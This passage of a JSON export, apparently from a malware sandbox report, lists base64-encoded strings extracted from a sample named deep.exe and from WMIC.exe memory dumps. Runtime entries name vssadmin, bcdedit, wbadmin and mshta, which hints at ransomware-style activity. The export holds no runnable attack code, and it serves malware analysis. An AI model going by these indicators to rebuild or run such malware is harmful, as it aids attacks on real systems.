Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PFJFU1VMVEFOVFFVRVJZPiVzPC9SRVNVTFRBTlRRVUVSWT4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PFJFU1VMVFMgTk9ERT0iJXMiPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PFJPTEU+JXM8L1JPTEU+PElNUExFVkVMPiVzPC9JTVBMRVZFTD48QVVUSExFVkVMPiVzPC9BVVRITEVWRUw+PExPQ0FMRT4lczwvTE9DQUxFPjxQUklWSUxFR0VTPiVzPC9QUklWSUxFR0VTPjxUUkFDRT4lczwvVFJBQ0U+PFJFQ09SRD4lczwvUkVDT1JEPjxJTlRFUkFDVElWRT4lczwvSU5URVJBQ1RJVkU+PEZBSUxGQVNUPiVzPC9GQUlMRkFTVD48T1VUUFVUPiVzPC9PVVRQVVQ+PEFQUEVORD4lczwvQVBQRU5EPjxVU0VSPiVzPC9VU0VSPjxBR0dSRUdBVEU+JXM8L0FHR1JFR0FURT48L0NPTlRFWFQ+","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PHQqVTN6LmhX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PFRBUkdFVD4lczwvVEFSR0VUPg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PFZBTFVFLk9CSkVDVD4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PFZBTFVFPiVzPC9WQUxVRT4=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PHtXV0w7V302OXw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PSIlcyIgU1RBUlRUSU1FPSIlcyIgRVZFUllDT1VOVD0iJWQiPg==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PT44bzBeOz53","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PXNIaHUja2pC","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PXZKbyx7YDUv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PkBGUWRrO1c3","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Pl5aTHFLRkh2","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Pmc1MFJ7Ol53SSw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PkhuMTBVVmRI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PklyTntBZzU+","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Pkp7LDlcL2Ax","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PksxXm0ubmF9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PnNeY1BNOW5Q","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Pn0mTGlVdS4vMl8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Pyk3dHtxKz97M0k=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"PzN8dlBzb20=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Pzo0VzcxOmAvQQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Pz8wQ0hTdHJpbmdAQFFBRUBBQlYwQEBa","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz8wQ0hTdHJpbmdAQFFBRUBQQkRAWg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz8wQ0hTdHJpbmdAQFFBRUBQQkdAWg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz8wQ0hTdHJpbmdAQFFBRUBYWg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz8wZXhjZXB0aW9uQEBRQUVAQUJRQkRAWg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz8wZXhjZXB0aW9uQEBRQUVAQUJWMEBAWg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz8wZXhjZXB0aW9uQEBRQUVAWFo=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz8xQ0hTdHJpbmdAQFFBRUBYWg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz8xZXhjZXB0aW9uQEBVQUVAWFo=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz8xdHlwZV9pbmZvQEBVQUVAWFo=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz80Q0hTdHJpbmdAQFFBRUFCVjBAQUJWMEBAWg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz80Q0hTdHJpbmdAQFFBRUFCVjBAUEJHQFo=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz9IQFlHP0FWQ0hTdHJpbmdAQEFCVjBAUEJHQFo=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz9ZQ0hTdHJpbmdAQFFBRUFCVjBAQUJWMEBAWg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz9ZQ0hTdHJpbmdAQFFBRUFCVjBAUEJHQFo=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P0UzImo7Rmwr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"P0VtcHR5QENIU3RyaW5nQEBRQUVYWFo=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P0ZpbmRAQ0hTdHJpbmdAQFFCRUhQQkdAWg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P0ZpbmRPbmVPZkBDSFN0cmluZ0BAUUJFSFBCR0Ba","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P0Zvcm1hdEBDSFN0cmluZ0BAUUFBWFBCR1pa","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P0dldEJ1ZmZlckBDSFN0cmluZ0BAUUFFUEFHSEBa","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P0dldERhdGFAQ0hTdHJpbmdAQElCRVBBVUNIU3RyaW5nRGF0YUBAWFo=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P0lnVzFqW2glaA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"P0xlZnRAQ0hTdHJpbmdAQFFCRT9BVjFASEBa","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P01pZEBDSFN0cmluZ0BAUUJFP0FWMUBIQFo=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P09cfjcvVCop","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"P1JpZ2h0QENIU3RyaW5nQEBRQkU/QVYxQEhAWg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P1NxI11NbXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"P3RDbU9vbmpuXQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"P3Rlcm1pbmF0ZUBAWUFYWFo=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P1RyaW1MZWZ0QENIU3RyaW5nQEBRQUVYWFo=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P1RyaW1SaWdodEBDSFN0cmluZ0BAUUFFWFha","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P3doYXRAZXhjZXB0aW9uQEBVQkVQQkRYWg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P8Ovwr/CvcOvwr/CvcOvwr/CvcOvwr/CvcOvwr/CvcOvwr/CvcOvwr/CvcOvwr/CvcOvwr/CvQ==","type":"Ansi","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QCtbNXk8RltgLkU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QDc6eyNtayE0YzNHeCM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QHV5V1gmIEZm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"W05XMy9KSCF5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"W1VOS05PV05d","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XCNUakFgb1pxRGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XCplNkkhY1xu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XDVgNWQ1aDUo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XEVZcltPWHEw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XGcpe1t3fmI5Xy8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XGdPIEZMKlxkUA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XGtlcm5lbDMyLmRsbA==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XFJQQyBDb250cm9sXGNvbnNvbGUtMHgwMDAwMEFCQy1scGMtaGFuZGxl","type":"Unicode","source":"Runtime Data","process":"wbadmin.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XFJQQyBDb250cm9sXGNvbnNvbGUtMHgwMDAwMEFDQy1scGMtaGFuZGxl","type":"Unicode","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XFJQQyBDb250cm9sXGNvbnNvbGUtMHgwMDAwMEIxOC1scGMtaGFuZGxl","type":"Unicode","source":"Runtime Data","process":"bcdedit.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XFJQQyBDb250cm9sXGNvbnNvbGUtMHgwMDAwMEM4MC1scGMtaGFuZGxl","type":"Unicode","source":"Runtime Data","process":"bcdedit.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XFJQQyBDb250cm9sXGNvbnNvbGUtMHgwMDAwMEUzMC1scGMtaGFuZGxl","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XFJQQyBDb250cm9sXGNvbnNvbGUtMHgwMDAwMEU1OC1scGMtaGFuZGxl","type":"Unicode","source":"Runtime Data","process":"vssadmin.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XFNlc3Npb25zXDFcV2luZG93c1xBcGlQb3J0","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XFRoZW1lQXBpUG9ydA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XTlka09CeX0wL1w1dmZkUw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XUJCP1FLX3A8","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XVlJdEdwRHlM","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XiZSX1EwLVY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Xl0tKHRlPEJh","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XkpqTXAlWWVI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Xnssc00hOzQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XyJSW3JdMzNP","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XyUiPzh2VTxf","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XyszNDlwWiNU","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XzBfX19fX19vX19fX19fX19fXzBfX18wX19fdV9fXz8/X19f","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_4.png","compromised":null,"detection_total":null,"total":null},{"value":"XzB0dXRfYXR0dF90eS10dHR0eXR0dHN1X3V0dXRfdHRfdHR0dHR0c3R0X191dHR0dHR0Jy1feXR0eXRfdHR0dCdfdHR0bHR0dF90dHRfX3RfdHl5dHR0dF9fX19fX3V5dF9fdHR1X3V0X3V0dHQneV9fdHV0X3R5bGd0bHRfLXRfdHRnX3RzX3RfX3R0dHUndHRzX3R0X195X3l0dXR0dF90dF9fdHR0dHV0X190dXRfdGx5dS10dWx0dHR0dHRfX3RfdHRfdHR0eXR0X3R0X3R0dHR0Nl90X3R0dHR1dHRfX190eXR0X3V0dHRfX3R0LXV1X3VfdF90dF9fdHRfX3R0dHhfdF90dHR0dF90X3R1eXlfcXR0dF91dF91X3Q4dHR5dHl0dXRfdC0teXR0eV9fX195eXRfdEhfdThfdHR0dHVzdXRfX3lzX3V0dS10dHVfdV90dHR0dHRfdHRfX3R0","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_4.png","compromised":null,"detection_total":null,"total":null},{"value":"XzE2QzhDRTY5MjNGODRENkRCMjYxRDVfRl9GQ0U4MjgzQzlGOUZBNTJCQUIzMTdE","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"XzQ3XzFCMkIzRTU2NkJCMkI2Njg4MTExRTU2MTFFNjVBMjE4NTI4NkZEOEVBXw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"Xz0yIkYyLkYmbnU=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3D000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Xz9fP18/TV9MXw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_0.png","compromised":null,"detection_total":null,"total":null},{"value":"X18/bUpfX19fcV8/LCw/LD8/bT8/Xz9fdl9fLCwsXyws","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_0.png","compromised":null,"detection_total":null,"total":null},{"value":"X19DbGFzcyA9ICAi","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19DeHhGcmFtZUhhbmRsZXIz","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19ERVJJVkFUSU9O","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19kbGxvbmV4aXQ=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19EWU5BU1RZ","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19OQU1FU1BBQ0U=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19wX19jb21tb2Rl","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19wX19mbW9kZQ==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19QUk9QRVJUWUNPVU5U","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19SRUxQQVRI","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19zZXRfYXBwX3R5cGU=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19zZXR1c2VybWF0aGVycg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19TVVBFUkNMQVNT","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X193Z2V0bWFpbmFyZ3M=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X2Ftc2dfZXhpdA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X2NhbGxuZXdo","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X2NvbnRyb2xmcA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X0N4eFRocm93RXhjZXB0aW9u","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X0U0NDM4NTJfNENCNEUyNEIzMURDNjNCMkY0NUQx","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"X2V4Y2VwdF9oYW5kbGVyNF9jb21tb24=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X2ZpbGVsZW5ndGg=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X0ZyZWVUaHJlYWRlZERPTURvY3VtZW50LCBOVUxMLCBDTFNDVFhfSU5QUk9DX1NFUlZFUiwgSUlEX0lYTUxET01Eb2N1bWVudDIsIC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X2Z0b2wyX3NzZQ==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X2luaXR0ZXJt","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X0s6JkR2XDw6","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"X3AjVyQpXE4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"X1BBVEgiIENMQVNTT1JJR0lOPSJfX1NZU1RFTSIgVFlQRT0ic3RyaW5nIj48VkFMVUU+PCFbQ0RBVEFbJXMgPC9WQUxVRT48L1BST1BFUlRZPg==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X3ZzbnByaW50Zg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X3ZzbndwcmludGY=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X3djc25pY21w","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X3dmcmVvcGVu","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X1hjcHRGaWx0ZXI=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YDQxbl85fHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YFw/P1xWb2x1bWV7ODE3N2Y0ZTQtYjUzZi0xMWU0LWE5YzItODA2ZTZmNmU2OTYzfQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YFw/P1xWb2x1bWV7ODE3N2Y0ZTUtYjUzZi0xMWU0LWE5YzItODA2ZTZmNmU2OTYzfQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YGNQe1N5ZX5j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YGlLWmc+elI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QSQqKy9sUHBGd1lA","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QSRLS0BwQ2RQ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YS1ZdGNwOHo=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YTFYYHlhYl4h","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"YVxqKCI1aS0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"QWNjZXB0TGFuZ3VhZ2U=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QUNJTElUWUNPREUvPg==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YWQoTCIlcyIsIC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QWQ1fGx2eipM","type":"Ansi","source":"Memory/File 